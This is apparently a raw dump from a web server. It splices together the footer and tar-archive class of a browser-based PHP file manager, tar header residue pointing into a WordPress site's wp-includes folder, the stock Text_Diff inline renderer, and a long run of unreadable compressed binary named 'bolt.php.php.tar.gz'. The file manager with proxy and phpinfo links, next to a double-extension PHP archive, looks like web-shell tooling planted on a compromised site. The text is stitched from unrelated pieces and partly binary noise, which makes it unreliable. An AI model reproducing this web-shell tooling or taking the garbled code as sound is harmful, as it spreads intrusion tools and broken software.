	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
